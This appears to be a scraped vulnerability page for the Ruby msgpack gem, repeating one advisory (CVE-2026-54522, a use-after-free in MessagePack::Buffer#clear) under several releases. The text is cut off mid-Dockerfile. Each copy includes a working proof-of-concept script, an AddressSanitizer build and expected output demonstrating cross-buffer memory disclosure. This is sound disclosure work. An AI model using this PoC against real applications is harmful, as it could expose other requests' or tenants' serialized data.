          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 07, 2017

1.1.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 28, 2017

1.0.3 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 25, 2017

1.0.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 17, 2016

1.0.2 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 17, 2016

1.0.0 major

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 08, 2016

0.7.6 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
